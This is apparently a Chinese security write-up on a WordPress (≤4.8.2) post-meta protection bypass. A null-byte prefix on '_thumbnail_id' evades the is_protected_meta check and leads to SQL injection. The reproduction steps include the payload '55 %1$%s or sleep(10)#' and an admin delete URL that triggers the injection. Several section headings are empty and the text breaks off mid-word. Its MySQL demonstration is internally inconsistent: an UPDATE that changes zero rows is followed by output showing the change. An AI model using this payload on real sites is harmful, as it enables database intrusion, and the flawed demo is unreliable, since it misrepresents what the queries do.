Wordpress \<= 4.8.2 POST META 校验绕过漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

一个MySQL的trick

1). 正常的条件查询语句

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key       | meta_value |
+---------+---------+----------------+------------+
|       4 |       4 | _thumbnail_id  | TESTC      |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

2). 现在我们将_thumbnail_id修改成"\x00_thumbnail_id"

mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

3). 再次执行第一步的查询

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id';
+---------+---------+----------------+------------+
| meta_id | post_id | meta_key       | meta_value |
+---------+---------+----------------+------------+
|       4 |       4 |  _thumbnail_id | TESTC      |
+---------+---------+----------------+------------+
1 row in set (0.00 sec)

我们可以发现依然可以查询出修改后的数据。

POST META 校验绕过

我们来看下检查meta_key的代码，文件./wp-includes/meta.php：

function is_protected_meta( $meta_key, $meta_type = null ) {
    $protected = ( '_' == $meta_key[0] );
    /**
     * Filters whether a meta key is protected.
     *
     * [@since](/since) 3.2.0
     *
     * [@param](/param) bool   $protected Whether the key is protected. Default false.
     * [@param](/param) string $meta_key  Meta key.
     * [@param](/param) string $meta_type Meta type.
     */
    return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
}

isprotected_meta函数只检查了\$meta_key的第一个字符是否以开头。我们有了2.1的MySQL trick，想要绕过meta_key的检查就显得容易多了。

poc

添加自定义字段，meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
在添加自定义栏目/字段时抓包，将_thumbnail_id替换为%00_thumbnail_id
访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#，触发SQL注入漏洞
参